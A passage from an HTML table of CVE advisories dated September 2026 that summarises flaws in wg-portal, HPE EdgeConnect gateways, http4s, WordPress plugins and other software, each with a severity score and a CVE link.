&lt;td&gt;WireGuard Portal, or wg-portal, is a web-based configuration portal for WireGuard server management. From 2.2.0 until 2.3.0, the authenticated GET /api/v0/ws statistics WebSocket in internal/app/api/v0/handlers/endpoint_websocket.go subscribes to TopicPeerStatsUpdated and TopicInterfaceStatsUpdated and forwards every TrafficDelta event without per-user authorization in handleWebsocket(). A low-privilege user can enumerate peer public keys through EntityId and monitor BytesReceived and BytesTransmitted values for peers belonging to other users. The same connection exposes interface_stats and interface names that the REST API limits to administrators. Tunnel content, AllowedIPs, and user identities remain authorization-gated. This issue is fixed in version 2.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54551&quot; target=&quot;_blank&quot;&gt;CVE-2026-54551&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;halo-dev--halo&lt;/td&gt;
&lt;td&gt;Halo through 2.26.1 contains an open redirect vulnerability in the anonymous thumbnail endpoint that fails to validate the uri query parameter. Attackers can craft malicious links on the trusted Halo domain that redirect visitors to arbitrary external sites, enabling phishing attacks and abuse of redirect-based trust relationships.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91772&quot; target=&quot;_blank&quot;&gt;CVE-2026-91772&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;harness--harness&lt;/td&gt;
&lt;td&gt;Harness through 3.3.0 omits access control validation in the infrastructure provider read endpoint, allowing authenticated users to retrieve provider configurations from spaces they do not belong to. Attackers can query the GET /api/v1/infraproviders endpoint with arbitrary space identifiers to expose sensitive provider metadata including Docker endpoints, TLS certificate paths, and cloud project identifiers.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92750&quot; target=&quot;_blank&quot;&gt;CVE-2026-92750&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HashiCorp--Shared library&lt;/td&gt;
&lt;td&gt;The go-getter library up to versions 1.8.8 and 2.2.3 is vulnerable to a privilege escalation issue in its archive decompression handling that may allow a crafted archive to cause extracted files to be created with elevated permission bits. Where extraction is performed by a privileged user, this may allow a local actor to obtain the privileges of the extracting process. This vulnerability (CVE-2026-88922) is fixed in go-getter 1.8.9 and 2.2.4.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88922&quot; target=&quot;_blank&quot;&gt;CVE-2026-88922&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HCL Software--HCL AppScan 360&lt;/td&gt;
&lt;td&gt;HCLSoftware AppScan 360Â° was affected by a Path Traversal vulnerability in the ASReportService component. Improper handling of file paths allows an authenticated attacker to read or write files outside the intended directory, potentially enabling file system structure inspection or unauthorized file modification within the application&#039;s directory scope.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21822&quot; target=&quot;_blank&quot;&gt;CVE-2026-21822&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HCL Software--HCL BigFix Service Management&lt;/td&gt;
&lt;td&gt;HCL BigFix Service Management is affected by an Unrestricted File Upload vulnerability due to improper file validation controls, which could allow an unauthenticated attacker to upload and execute malicious payloads, resulting in a complete server compromise.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56590&quot; target=&quot;_blank&quot;&gt;CVE-2026-56590&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HCL Software--HCL BigFix Service Management&lt;/td&gt;
&lt;td&gt;HCL BigFix Service Management is affected by an Improper Authentication validation vulnerability related to inadequate account lockouts, which could allow an unauthenticated attacker to execute sustained brute-force attacks against the login interface, resulting in unauthorized system access.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56592&quot; target=&quot;_blank&quot;&gt;CVE-2026-56592&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HCL Software--HCL BigFix Service Management&lt;/td&gt;
&lt;td&gt;HCL BigFix Service Management is affected by a Security Misconfiguration vulnerability, which could allow an authenticated attacker to exploit improper access controls, enabling the unauthorized viewing of restricted data elements across tenant boundaries.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21848&quot; target=&quot;_blank&quot;&gt;CVE-2026-21848&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HCLSoftware--HCL DevOps Deploy / HCL Launch&lt;/td&gt;
&lt;td&gt;HCL DevOps Deploy / HCL Launch is susceptible to an information disclosure vulnerability when processing redacted property values. If a deployment is configured with a secure property that starts with certain non-ASCII characters, the redaction engine may fail to mask subsequent ASCII secure values embedded inside insecure properties.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67071&quot; target=&quot;_blank&quot;&gt;CVE-2026-67071&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A privilege escalation vulnerability exists in the command line interface of HPE Networking EdgeConnect SD-WAN Gateways. Successful exploitation could allow an authenticated remote attacker with high privileges to escalate privileges beyond their authorized level, and execute arbitrary code on a vulnerable system.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76694&quot; target=&quot;_blank&quot;&gt;CVE-2026-76694&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;Buffer overflow vulnerabilities exist in the underlying operating system of HPE Networking EdgeConnect SD-WAN Gateways that could allow an unauthenticated remote attacker to send specially crafted packets to the affected service. Successful exploitation could allow an attacker to affect the integrity and availability of the affected service.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76695&quot; target=&quot;_blank&quot;&gt;CVE-2026-76695&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability in HPE Networking EdgeConnect SD-WAN Gateways could allow an unauthenticated adjacent attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to crash the system, preventing it from rebooting without manual intervention and disrupting network operations.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76696&quot; target=&quot;_blank&quot;&gt;CVE-2026-76696&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability in the web-based management interface of HPE Networking EdgeConnect SD-WAN Gateways could allow a remote attacker authenticated with low privileges to access sensitive information. A successful exploit allows an attacker to retrieve information which could be used to potentially gain further access to network services supported by HPE Networking EdgeConnect SD-WAN Gateways.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76697&quot; target=&quot;_blank&quot;&gt;CVE-2026-76697&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A command injection vulnerability exists in the web-based management interface of HPE Networking EdgeConnect SD-WAN Gateways. An authenticated remote attacker with limited access privileges could exploit this vulnerability through specially crafted input. Successful exploitation, under certain conditions, could result in the execution of arbitrary commands with elevated privileges or a denial-of-service condition on the affected appliance.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76698&quot; target=&quot;_blank&quot;&gt;CVE-2026-76698&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A buffer overflow vulnerability exists in a system service within the underlying operating system of HPE Networking EdgeConnect SD-WAN Gateways that could allow an unauthenticated adjacent attacker to cause a denial-of-service. Successful exploitation could allow an attacker to crash the impacted service and temporarily disrupting network operations.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76699&quot; target=&quot;_blank&quot;&gt;CVE-2026-76699&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;Vulnerabilities in HPE Networking EdgeConnect SD-WAN Gateways could allow an unauthenticated remote attacker to cause a denial-of-service. Successful exploitation could allow an attacker to interrupt the normal operation of the affected service.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76700&quot; target=&quot;_blank&quot;&gt;CVE-2026-76700&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability in the API endpoint of HPE Networking EdgeConnect SD-WAN Gateways could allow an unauthenticated remote attacker to access sensitive information. Successful exploitation could allow an attacker to retrieve information which could be used to potentially gain further access to network services supported by HPE Networking EdgeConnect SD-WAN Gateways.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76701&quot; target=&quot;_blank&quot;&gt;CVE-2026-76701&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability in the operating system of HPE Networking EdgeConnect SD-WAN Gateways could allow an authenticated local attacker to cause a denial-of-service. Successful exploitation could allow an attacker to disrupt system operations, potentially resulting in an unstable system state.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76702&quot; target=&quot;_blank&quot;&gt;CVE-2026-76702&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A buffer overflow vulnerability exists in the web-based management interface of HPE Networking EdgeConnect SD-WAN Gateways that could allow an authenticated attacker with administrative access to cause a denial of service. Successful exploitation could allow an attacker to disrupt system operations, potentially resulting in an unstable system state.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76703&quot; target=&quot;_blank&quot;&gt;CVE-2026-76703&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability in the web-based management interface of the EdgeConnect SD-WAN Orchestrator could allow an authenticated remote attacker to execute arbitrary script code in a victim&#039;s browser in the context of the affected interface. Successful exploitation could allow an attacker to access sensitive information, potentially affecting the confidentiality and integrity of the data processed by the application.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76704&quot; target=&quot;_blank&quot;&gt;CVE-2026-76704&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A buffer overflow vulnerability exists in the API endpoint of HPE Networking EdgeConnect SD-WAN Gateways. Successful exploitation could allow an authenticated remote attacker with Admin privilege to execute arbitrary commands on the underlying operating system.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76705&quot; target=&quot;_blank&quot;&gt;CVE-2026-76705&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability in the API endpoint of HPE Networking EdgeConnect SD-WAN Orchestrator could allow an unauthenticated remote attacker to obtain sensitive information. Successful exploitation could result in the disclosure of security-relevant configuration details and security feature status, which could be used to facilitate further attacks.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76706&quot; target=&quot;_blank&quot;&gt;CVE-2026-76706&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability in HPE Networking EdgeConnect SD-WAN Gateways could allow an unauthenticated adjacent attacker to view some system memory contents. Successful exploitation could allow an attacker to gain insight into internal services and workflows, increasing the risk of unauthorized access and elevated privileges when combined with other vulnerabilities.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76707&quot; target=&quot;_blank&quot;&gt;CVE-2026-76707&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hide My WP Ghost--Hide My WP Ghost&lt;/td&gt;
&lt;td&gt;The Hide My WP Ghost WordPress plugin before 7.0.11 does not verify that a request is a genuine WooCommerce request before disabling its firewall, threat-detection and login/URL-hiding protections, treating the mere presence of an attacker-suppliable request parameter as sufficient, which allows unauthenticated attackers to disable those protections and re-expose the concealed login and admin URLs on any request.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86796&quot; target=&quot;_blank&quot;&gt;CVE-2026-86796&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hide My WP Ghost--Hide My WP Ghost&lt;/td&gt;
&lt;td&gt;The Hide My WP Ghost WordPress plugin before 7.0.11 does not properly validate a loopback security-check request before disabling its login and URL hiding protection, dropping that protection precisely when the request&#039;s verification value is missing or incorrect, which any visitor can arrange, allowing unauthenticated attackers to re-expose the concealed WordPress login page location.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86800&quot; target=&quot;_blank&quot;&gt;CVE-2026-86800&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;higress-group--higress&lt;/td&gt;
&lt;td&gt;Higress before 2.2.4 panics when processing a Cookie header segment without an equals sign, causing the plugin wrapper to recover and return a continue action that bypasses AI token rate limiting. Unauthenticated attackers can craft a malformed Cookie header to skip rate limit checks and exceed thresholds intended to restrict costly model backend calls.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92790&quot; target=&quot;_blank&quot;&gt;CVE-2026-92790&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hiroaki-miyashita--Custom Field Template&lt;/td&gt;
&lt;td&gt;The Custom Field Template plugin for WordPress is vulnerable to generic SQL Injection via the &#039;post_ID&#039; parameter in all versions up to, and including, 2.7.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The capability check via current_user_can(&#039;edit_post&#039;, $id) is bypassable because WordPress internally casts $id to an integer for the permission evaluation while the full unsanitized string is preserved and passed to the SQL sink, and a valid nonce - which is also required - can be legitimately obtained by any Contributor-level user from the post edit screen.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9855&quot; target=&quot;_blank&quot;&gt;CVE-2026-9855&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HKUDS--nanobot&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in HKUDS nanobot up to 0.2.1. Impacted is the function ExecTool._guard_command/ExecTool._spawn of the file nanobot/agent/tools/shell.py of the component ExecTool. This manipulation causes incomplete blacklist. It is possible to initiate the attack remotely. Patch name: af582246f141311d574551b7571a517bcc3df750. Applying a patch is the recommended action to fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90808&quot; target=&quot;_blank&quot;&gt;CVE-2026-90808&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;honojs--hono&lt;/td&gt;
&lt;td&gt;hono before 4.13.7 fails to HTML-escape plain strings rendered by hono/jsx as a child or fallback of Suspense, as a string child of ErrorBoundary alongside an asynchronous sibling, as the single child of a Context.Provider, or as the root value passed to renderToString() or renderToReadableStream() from hono/jsx/dom/server. These paths stringify their input and treat the result as already-escaped markup, so an attacker who controls such a string during server-side rendering can inject arbitrary HTML and execute script under the application&#039;s origin.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93981&quot; target=&quot;_blank&quot;&gt;CVE-2026-93981&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4k--http4k&lt;/td&gt;
&lt;td&gt;http4k is a functional toolkit for Kotlin HTTP applications. Prior to 4.51.0.0, 5.42.0.0, and 6.50.0.0, DigestAuthProvider.verify in http4k-security-digest ignores its configured algorithm parameter and verifies every Digest response with hardcoded MD5. Deployments configured for SHA-256 therefore receive weaker MD5-based verification, exposing Digest authentication to collision-related attack paths that depend on the hash function&#039;s collision resistance. This issue is fixed in versions 4.51.0.0, 5.42.0.0, and 6.50.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54147&quot; target=&quot;_blank&quot;&gt;CVE-2026-54147&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, The CookieJar client middleware stores a response cookie&#039;s Domain attribute without checking that it domain-matches the host that supplied the cookie or rejecting public suffixes. A malicious or compromised server contacted through the same CookieJar can plant a cookie for another domain, and the jar later sends that cookie to the victim domain, enabling session fixation or overwriting security-sensitive cookies. The patch validates the Set-Cookie domain against the response origin, although public-suffix rejection remains unimplemented. This issue is fixed in versions 0.23.35 and 1.0.0-M47.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69214&quot; target=&quot;_blank&quot;&gt;CVE-2026-69214&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, The CookieJar client middleware uses unanchored substring checks instead of RFC 6265 domain and path matching when deciding whether to attach a stored cookie. A cookie for example.com can consequently be sent to an attacker-controlled hostname such as evilexample.com when an application using the same jar makes an attacker-influenced outbound request. This exposes session or authentication cookies and can enable hijacking of the application&#039;s outbound sessions. This issue is fixed in versions 0.23.35 and 1.0.0-M47.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69215&quot; target=&quot;_blank&quot;&gt;CVE-2026-69215&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, ResourceService and WebjarService decode each URL path segment but reject only segments exactly equal to an empty string, a dot, or two dots. A request containing percent-encoded slash or backslash separators can turn an accepted segment into a parent-directory traversal after decoding, allowing access to classpath or WebJar resources outside the configured base when a directory-backed classpath is served and the backend preserves the encoded separator. The patch rejects decoded segments containing slash or backslash in ResourceService and WebjarService, and applies the same guard to the non-exploitable FileService for consistency. This issue is fixed in versions 0.23.35 and 1.0.0-M47.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69201&quot; target=&quot;_blank&quot;&gt;CVE-2026-69201&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, DigestAuth replay protection records lastNc plus one instead of the highest nonce-count value it has accepted. When a legitimate client sends noncontiguous nc values because of parallel or retried requests, the stored counter remains below the accepted maximum, allowing a passive observer to replay a captured Authorization header multiple times. Successful replays execute authenticated requests, including state-changing operations, as the captured user. This issue is fixed in versions 0.23.35 and 1.0.0-M47.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69206&quot; target=&quot;_blank&quot;&gt;CVE-2026-69206&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, The FollowRedirect client middleware strips Authorization and Cookie headers only when a redirect changes authority, but authority comparison excludes the URI scheme. A same-authority redirect from HTTPS to HTTP therefore preserves credentials and transmits them over a plaintext connection. An attacker who can induce the downgrade and observe the network can capture those sensitive headers from applications using FollowRedirect. This issue is fixed in versions 0.23.35 and 1.0.0-M47.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69212&quot; target=&quot;_blank&quot;&gt;CVE-2026-69212&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, Ember&#039;s chunk decoder trims the chunk-size token and accepts leading plus or minus signs instead of requiring one or more hexadecimal digits followed by the required CRLF. When an intermediary forwards chunked data without re-encoding and interprets malformed chunk boundaries differently, an unauthenticated attacker can create TE.TE request smuggling that bypasses intermediary controls, poisons caches, or hijacks the request queue. The same response-path leniency can enable response smuggling against an ember-client used as a gateway when the upstream is malicious or compromised. This issue is fixed in versions 0.23.35 and 1.0.0-M47.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69216&quot; target=&quot;_blank&quot;&gt;CVE-2026-69216&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, ResponseCookie.render writes attacker-influenced name, content, domain, path, and extension values without neutralizing semicolons or control characters. An application that constructs a ResponseCookie from unvalidated input can therefore emit injected cookie attributes such as Domain, Path, or SameSite, widening cookie scope or weakening protections, and control characters may enable header splitting on permissive backends. The patch strips control characters from all five fields and strips semicolons from name, content, domain, and path while retaining the extension delimiter behavior. This issue is fixed in versions 0.23.35 and 1.0.0-M47.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69211&quot; target=&quot;_blank&quot;&gt;CVE-2026-69211&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;iberezansky--3D FlipBook PDF Embedder, PDF Flipbook Viewer, Flipbook Image Gallery&lt;/td&gt;
&lt;td&gt;The 3D FlipBook - PDF Embedder, PDF Flipbook Viewer, Flipbook Image Gallery plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.16.20 via the &#039;id&#039; parameter. This makes it possible for unauthenticated attackers to extract sensitive data including the full metadata payload of password-protected flipbooks - including title, outline, props, and the serialized data blob containing the underlying PDF file&#039;s direct URL - bypassing WordPress post-password confidentiality. Flipbook post IDs can be pre-enumerated via the also-unauthenticated fb3d_send_posts AJAX action, requiring no prior knowledge to target specific flipbooks.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
